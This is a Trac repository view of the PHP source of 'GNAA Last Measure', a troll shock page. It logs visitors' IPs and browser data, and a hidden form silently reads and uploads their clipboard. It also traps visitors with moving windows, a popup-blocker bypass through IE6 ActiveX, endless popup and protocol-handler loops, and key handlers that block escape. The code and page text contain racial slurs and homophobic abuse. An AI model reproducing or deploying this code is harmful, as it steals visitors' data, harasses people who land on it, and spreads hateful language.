source: trollforge/lastmeasure/index.php @ 153

Revision 153, 11.6 KB checked in by sam, 7 years ago (diff)
  • FUXX!! I messed up the norepeat test.
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8/* Additional information */
9$send = $_POST['send'];
10$popup = $_GET['popup'];
11$music = $_GET['music'];
12$procreate = $_GET['procreate'];
13
14/* Print a random image name, with its 'image/' prefix. */
15$imagelist = array();
16$dh = opendir('images/');
17while(($file = readdir($dh)) != false) {
18  $ext = substr($file, -3);
19  if($ext == 'jpg' || $ext == 'gif') {
20    $imagelist[] = $file;
21  }
22}
23closedir($dh);
24function random_image() {
25   global $imagelist;
26   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
27}
28
29function hey_everybody() { ?>
30  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
31  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
32          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
33          width="1" height="1" id="hey" align="">
34    <param name="movie" value="flash/hey.swf"></param>
35    <param name="quality" value="high"></param>
36    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
37           type="application/x-shockwave-flash"
38           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
39  </object>
40<?php
41}
42
43function external_ruin() { ?>
44  <script>
45    var mail = 'mailto:JOIN@THE.GNAA?subject=2005_RECRUITMENT_DRIVE'
46        mail += '&body=www.gnaa.us';
47    var news = 'news:alt.flame.niggers';
48
49    var protos = [
50      mail,
51      //'irc://irc.gnaa.us/#gnaa',
52      //'rlogin://x.x.x.x:xx',
53      mail,
54      //'telnet://x.x.x.x:xx',
55      //'ed2k://|file|Star.Wars.Episode.III.Revenge.of.the.Sith.2005.PROPER.DVDRip.XviD-GNAA.avi|1073397760|4D34DCA3C4E81B484EAC8CA408EEDD48|h=4OBEIFRUQRW7QJGRPBZJGRRQJHNP7KJS|/',
56      news,
57      //'callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE'
58    ];
59
60    function add(str) {
61      div = document.getElementById('goatse');
62      div.innerHTML = '<iframe width=1 height=1 src="' + str + '"></iframe>';
63    }
64
65    function extruin() {
66      document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
67      for(i = 0; i < 5; i++) {
68        add(mail);
69        add(news);
70      }
71      ruin();
72    }
73
74    function ruin() {
75      for(i = 0; i < protos.length; i++) {
76        add(protos[i]);
77      }
78      //print();
79      setTimeout("ruin()", 200);
80    }
81  </script>
82<?php
83}
84
85function move_around($w, $h) { ?>
86  <script>
87    var images = new Array;
88    <?php
89    global $imagelist;
90    echo "var imagecount = ".count($imagelist).";\n";
91    for($i = 0; $i < count($imagelist); $i++) {
92      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
93    } ?>
94
95    var delay = 10;
96    var step = .2;
97    var curstep = 0;
98
99    window.resizeTo(<?php echo "$w, $h";?>);
100    var centerX = (self.screen.width - document.body.clientWidth) / 2;
101    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
102    movew0w();
103
104    function movew0w() {
105      var j;
106      for (j = 0; j < 5; j++) {
107        curstep += step / 5;
108        var factorX = Math.sin(curstep * 6.1) * 0.9;
109        var factorY = Math.cos(curstep * 3.7) * 0.9;
110
111        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
112                    * (Math.sin(10+curstep/(10+j))+0.2)
113                    * Math.cos((curstep + j*25)/10);
114        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
115                    * (Math.sin(10+curstep/10)+0.2)
116                    * Math.cos((curstep + j*25)/10);
117        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
118      }
119      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
120      setTimeout("movew0w()", delay);
121    }
122  </script>
123<?php
124}
125
126function popup_bypasser() { ?>
127  <!-- This chunk bypasses popups -->
128  <script>
129    function shellscript() {
130      for(i = 0; i < 5; i++) {
131        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
132      }
133    }
134
135    function main() {
136      x.DOM.Script.execScript(shellscript.toString());
137      x.DOM.Script.setTimeout("shellscript()");
138      setTimeout("main()", 200);
139    }
140  </script>
141<?php
142}
143
144function divert_onload() { ?>
145  <script language="JavaScript">
146    <!--
147    var SymRealOnLoad;
148    var SymRealOnUnload;
149    var SymRealWinOpen;
150
151    function SymOnUnload() {
152      window.open = SymWinOpen;
153      if(SymRealOnUnload != null)
154        SymRealOnUnload();
155    }
156
157    function SymOnLoad() {
158      if(SymRealOnLoad != null)
159        SymRealOnLoad();
160      window.open = SymRealWinOpen;
161      SymRealOnUnload = window.onUnload;
162      window.onUnload = SymOnUnload;
163    }
164
165    SymRealOnLoad = window.onLoad;
166    window.onLoad = SymOnLoad;
167    //-->
168  </script>
169<?php
170}
171
172function activate_applets() { ?>
173  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
174          align="middle" height="1" width="1">
175    <param name="ActivateApplets" value="1"></param>
176    <param name="ActivateActiveXControls" value="1"></param>
177  </object>
178<?php
179}
180
181
182/*
183 * Database shit
184 */
185function store_hit() {
186    $ip = $_SERVER['REMOTE_ADDR'];
187    $port = $_SERVER['REMOTE_PORT'];
188    $hostname = base64_encode('');
189    $uagent = base64_encode($_SERVER['HTTP_USER_AGENT']);
190    $referer = base64_encode($_SERVER['HTTP_REFERER']);
191    $user = base64_encode($_GET['u']);
192    $clipboard = base64_encode('');
193
194    $key = sprintf('%08x', -1 - time()) . substr(md5($ip . rand()), 0, 8);
195    $val = "$ip $port $hostname $uagent $referer $user $clipboard";
196
197    $id = dba_open('db/hit.db', 'c', 'db4');
198    if($id) {
199        /* First check that this IP hasn't already been recorded */
200        $tmpkey = dba_firstkey($id);
201        $tmpval = dba_fetch($tmpkey, $id);
202        $tmplist = explode(' ', $tmpval);
203        $tmpip = $tmplist[0];
204        if($tmpip == $ip) {
205            return $tmpkey;
206        }
207
208        dba_replace($key, $val, $id);
209        dba_close($id);
210    }
211
212    $id = dba_open('db/uagent.db', 'c', 'db4');
213    if($id) {
214        if(dba_exists($uagent, $id)) {
215            $count = dba_fetch($uagent, $id);
216            dba_replace($uagent, $count + 1, $id);
217        } else {
218            dba_insert($uagent, '1', $id);
219        }
220        dba_close($id);
221    }
222
223    $id = dba_open('db/user.db', 'c', 'db4');
224    if($id) {
225        if(dba_exists($user, $id)) {
226            $count = dba_fetch($user, $id);
227            dba_replace($user, $count + 1, $id);
228        } else {
229            dba_insert($user, '1', $id);
230        }
231        dba_close($id);
232    }
233
234    return $key;
235}
236
237function store_clipboard() {
238    $key = $_POST['key'];
239
240    $id = dba_open('db/hit.db', 'c', 'db4');
241    if(!$id) {
242        return;
243    }
244    if(dba_exists($key, $id)) {
245        $val = dba_fetch($key, $id);
246        list($ip, $port, $hostname,
247             $uagent, $referer, $user, $clipboard) = explode(' ', $val);
248        $clipboard = base64_encode($_POST['content']);
249        $val = "$ip $port $hostname $uagent $referer $user $clipboard";
250        dba_replace($key, $val, $id);
251    }
252    dba_close($id);
253}
254
255/*
256 * The rest of our code
257 */
258
259?>
260<html>
261  <head>
262    <title>GNAA Last Measure Unified</title>
263    <script language="JavaScript">
264      <?php include("include/js.inc"); ?>
265    </script>
266    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
267    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
268  </head>
269<?php
270
271    /*
272     *
273     *  First window ever, this should be our entry point
274     *
275     */
276
277    if(!$popup && !$send && !$procreate && !$music) {
278        $key = store_hit(); ?>
279    <body>
280      <?php include "include/goatse.php"; ?>
281      <form name="clip" method="post" action="index.php" style="display:none">
282        <input type="text" name="content">
283        <input type="hidden" name="send" value="1">
284        <input type="hidden" name="key" value="<?php echo $key; ?>">
285        <input type="submit">
286      </form>
287      <script language="javascript">
288        // without this if statement check, it bombs out with an error
289        if (typeof clipboardData != 'undefined') {
290          var content = clipboardData.getData("Text");
291          document.forms["clip"].elements["content"].value = content;
292        }
293        document.forms["clip"].submit();
294      </script>
295    </body><?php
296
297    /*
298     *
299     *  This is still the first window, but we got the clipboard contents
300     *
301     */
302
303    } elseif($send || $popup || $music) {
304      if($send) {
305        store_clipboard();
306        $flash = 'flash/first_opener.swf';
307      } else {
308        $flash = 'flash/second_opener.swf';
309      } 
310      ?>
311<body background="<?php random_image();?>" bgcolor="#ffffff"
312      onLoad="setTimeout('extruin()',200);<?php if($br_ie6) { ?>setTimeout('main()',100);<?php } ?>"
313      onKeyDown="altf4key();ctrlkey();delkey();"
314      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
315  <?php move_around(800, 600);
316        external_ruin();
317        activate_applets();
318        if($br_ie6) {
319          popup_bypasser();
320          divert_onload();
321        } ?>
322  <table width="100%" height="100%">
323    <tr>
324      <td valign="middle">
325        <div align="center">
326          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
327          <br />
328          <br />
329          <?php if(!$br_ie6) { ?>
330            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
331                    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
332                    width="1" height="1">
333              <param name="movie" value="<?php echo $flash;?>"></param>
334              <param name="quality" value="high"></param>
335              <embed src="<?php echo $flash;?>" quality="high"
336                     pluginspage="http://www.macromedia.com/go/getflashplayer"
337                     type="application/x-shockwave-flash" width="1" height="1">
338              </embed>
339            </object>
340          <?php } ?>
341        </div>
342      </td>
343    </tr>
344  </table>
345  <form>
346  <?php if($send) {
347    hey_everybody(); ?>
348    <input type="submit" value="CLICK ME" name="CLICK ME"
349           style="width: 2000px; height: 2000px;
350                  background-image: url('<?php //random_image();?>');"
351           src="<?php //random_image();?>" height="300" width="300"
352           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
353                        return true; }document.goatse.reset();movew0w();
354                        return true;"
355           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
356                    return true; } movew0w();return true;"
357           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
358                       return true; } else{procreate();}
359                       movew0w();return true;">
360    <br />
361    Lastmeasure last measure last-measure nero institute
362  <?php } ?>
363  </form>
364  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
365    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
366  </form>
367</body><?php
368
369    /*
370     *
371     *  Window is a procreate window
372     *
373     */
374
375    } elseif($procreate) {
376      ?>
377<body bgColor="#ffffff"
378      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
379      onKeyDown="altf4key();ctrlkey();delkey();"
380      onMouseOver="procreate();movew0w();">
381  <?php move_around(800, 600);?>
382  <h1>PROCREATING LAST MEASURE!!!</h1>
383  <h1>GNAA > j00</h1>
384  <h1>Fristage Postage is MINE.</h1>
385  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
386  fucking nigger operating system.. at least in fucking Firebird you don't
387  have to do this shit.
388  <?php hey_everybody(); ?>
389  <form name="goatse" action="#" ONreset="procreate(); return true;">
390  </form>
391</body>
392<?php
393
394    }
395?>
396</html>
Note: See TracBrowser for help on using the repository browser.